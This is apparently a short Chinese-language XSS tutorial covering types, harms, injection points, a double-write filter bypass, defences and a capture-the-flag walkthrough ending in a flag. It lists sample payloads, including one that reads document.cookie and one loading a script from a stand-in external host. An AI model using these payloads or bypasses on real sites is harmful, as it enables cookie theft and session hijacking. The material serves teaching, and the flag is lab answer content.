XSS漏洞
XSS漏洞
什么是XSS?
跨站脚本攻击,Cross-Site Scripting, 为了和CSS(层叠样式表)区分开来,把第一个字母C改成了X,也就是现在所说的XSS攻击。
XSS的危害
窃取cookie, 劫持对话,网络钓鱼,放马挖矿,广告刷流量,劫持后台,篡改页面,传播蠕虫,内网扫描。
XSS作用位置
用户输入作为script标签内容
用户输入作为HTML注释内容
用户输入作为HTML标签的属性名
用户输入作为HTML标签的属性值
用户输入作为HTML标签的名字
直接插入到CSS里
XSS脚本
<script>alert("hacker")</script> #弹出hacker
<script>alert(/hacker/)</script> #弹出hacker
<script>alert(1)</script> #弹出1, 对于数字可以不用引号
<script>alert(document.cookie)</script> 弹出cookie
<script src=http://XXX.com/xss.js></script> #引用外部的xss
XSS的分类
反射型XSS
反射型XSS是非持久性、参数型跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
存储型XSS
存储型XSS是持久性跨站脚本,持久性体现在xss代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方。
DOM型XSS
定义:owasp关于DOM型XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payloadi由于修改受害者浏览器页面的DOM树而执行的。
XSS常见绕过
双写绕过
网站中设置黑名单,检测到黑名单中的字符串,会被替换掉,从而规避掉恶意代码,这种情况可以视情况而定,选择合适的双写格式进行检查绕过。
XSS防范
防范办法
对用户的输入(和URL参数)进行过滤,对输出进行html编码,也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。
实战练习
先对首页输入任意的内容进行测试
接下来对页面源码进行查看,发现该网页存在XSS漏洞
尝试输入
发现并没有出现弹窗,大概率是把script代码过滤掉了,这里我们尝试双写绕过
发现虽然script代码没有被过滤,但是仍然没有出现弹窗,此时联想到SQL注入中的闭合,我们尝试把value的值双引号先闭合,构造如下
点击确定即可获得flag
flag{747b11f075d2f6f0d599058206190e27}